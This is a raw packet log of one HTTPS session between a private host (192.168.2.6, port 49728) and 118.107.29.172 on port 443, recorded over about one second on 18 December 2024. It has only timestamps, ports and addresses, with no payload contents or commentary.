Dec 18, 2024 13:35:46.134555101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.134599924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.134609938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.134635925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.134654999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.155064106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.155106068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.155178070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.155178070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.155195951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.155267000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.268901110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.268939018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.268999100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.269045115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.269059896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.269151926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.274929047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.274971008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.275005102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.275032043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.275043964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.275103092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.302992105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.303028107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.303101063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.303124905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.303150892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.303205967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.308995962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.309029102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.309075117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.309084892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.309127092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.313793898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.313829899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.313863039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.313896894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.313913107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.314023018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.319454908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.319494963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.319545031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.319574118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.319591999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.319610119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.327359915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.327399969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.327444077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.327486992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.327506065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.327526093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.332570076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.332603931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.332649946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.332674026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.332690001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.332911968 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.461128950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.461165905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.461206913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.461237907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.461253881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.461354017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.466892004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.466916084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.466979980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.466991901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.467025042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.495189905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.495215893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.495296955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.495311022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.495336056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.495358944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.500868082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.500891924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.500924110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.500931978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.500961065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.500977993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.506458998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.506479979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.506527901 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.506535053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.506573915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.511523008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.511544943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.511590958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.511598110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.511631012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.511646032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.518933058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.518956900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.519004107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.519012928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.519030094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.519047022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.524940968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.524962902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.525018930 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.525027990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.525079012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.653309107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.653352976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.653399944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.653430939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.653445959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.653544903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.659261942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.659286022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.659360886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.659372091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.659399033 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.659414053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.688121080 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.688144922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.688219070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.688244104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.688255072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.688317060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.693239927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.693262100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.693299055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.693305969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.693327904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.693345070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.698833942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.698858976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.698920012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.698931932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.698952913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.698964119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.704202890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.704225063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.704265118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.704287052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.704301119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.704319000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.711168051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.711193085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.711240053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.711271048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.711285114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.711867094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.716516972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.716542006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.716593981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.716612101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.716625929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.716676950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.845632076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.845693111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.845753908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.845802069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.845820904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.847866058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.851275921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.851330042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.851372957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.851391077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.851402044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.851871967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.879450083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.879509926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.879601955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.879632950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.879662991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.879671097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.885130882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.885184050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.885309935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.885309935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.885337114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.885418892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.890964031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.891006947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.891038895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.891072989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.891089916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.891117096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.896780968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.896821022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.896847963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.896864891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.896888018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.896904945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.903660059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.903688908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.903733969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.903769970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.903784037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.903857946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.910703897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.910744905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.910775900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.910809994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.910825968 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.910851955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.037745953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.037798882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.037834883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.037870884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.037889957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.037906885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.043530941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.043565035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.043605089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.043633938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.043644905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.043662071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.043683052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.072550058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.072583914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.073062897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.073062897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.073092937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.073148012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.077996016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.078032017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.078079939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.078108072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.078130960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.078839064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.083919048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.083950996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.084005117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.084031105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.084044933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.084189892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.089356899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.089397907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.089453936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.089462996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.089493990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.089514017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.095936060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.095974922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.096003056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.096013069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.096033096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.096050978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.101576090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.101608992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.101638079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.101665020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.101694107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.101855040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.230592966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.230637074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.230696917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.230730057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.230742931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.231008053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.235831976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.235873938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.235965014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.235981941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.236023903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.264364958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.264406919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.264444113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.264468908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.264484882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.264506102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.270662069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.270701885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.270759106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.270773888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.270785093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.271866083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.276906967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.276945114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.277019024 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.277034998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.277055025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.277070045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.281821966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.281858921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.281913996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.281922102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.281960011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.288414955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.288450003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.288481951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.288491011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.288516998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.288538933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.293936014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.293970108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.294022083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.294029951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.294131041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.422400951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.422445059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.422483921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.422508955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.422523022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.422544956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.428050041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.428081036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.428112030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.428121090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.428148031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.428180933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.457060099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.457099915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.457132101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.457143068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.457164049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.457180977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.462090969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.462116957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.462163925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.462172031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.462215900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.468065023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.468099117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.468125105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.468135118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.468158007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.468174934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.474004984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.474044085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.474071980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.474081993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.474102020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.474121094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.480948925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.480981112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.481025934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.481039047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.481064081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.481081963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.491539955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.491586924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.491616964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.491637945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:47.491652966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:47.491672993 CET	49728	443	192.168.2.6	118.107.29.172
